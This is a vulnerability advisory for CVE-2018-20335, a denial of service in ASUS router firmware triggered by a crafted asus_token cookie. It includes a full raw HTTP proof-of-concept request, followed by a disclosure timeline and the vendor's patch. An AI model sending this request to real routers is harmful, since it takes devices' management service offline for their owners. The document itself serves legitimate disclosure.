CVE: CVE-2018-20335

Tested Versions: ASUSWRT 3.0.0.4.384.20308 (2018/02/01)

Product URL(s): https://www.asus.com/us/ASUSWRT/

ASUSWRT is the firmware that is shipped with modern ASUS routers. ASUSWRT has a web-based interface, so it doesn’t need a separate app, or restrict what you can change via mobile devices – you get full access to everything, from any device that can run a web browser.

Vulnerability

An unauthenticated user can trigger a DoS (Denial of Service) of the httpd service in ASUSWRT. The cause of this bug is a cookie sent in a HTTP request. When httpd tries to process the line Cookie: asus_token=tV8OTWWNqXmrH in the handle_request function, it hangs at in a call to fgets.

PoC

The following PoC cause DoS on the httpd service:

GET /APP_Installation.asp?= HTTP/1.1
DNT: 1
Connection: close
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://192.168.50.1/Main_TrafficMonitor_realtime.asp
Upgrade-Insecure-Requests: 1
Host: 192.168.50.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Cookie: asus_token=tV8OTWWNqXmrH
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36

Timeline

  • 2019-02-19 Vendor disclosure
  • 2019-02-25 Vendor acknowledged and patched

Vendor Response

The vendor has acknowledged the issue and issued a firmware update to correct it.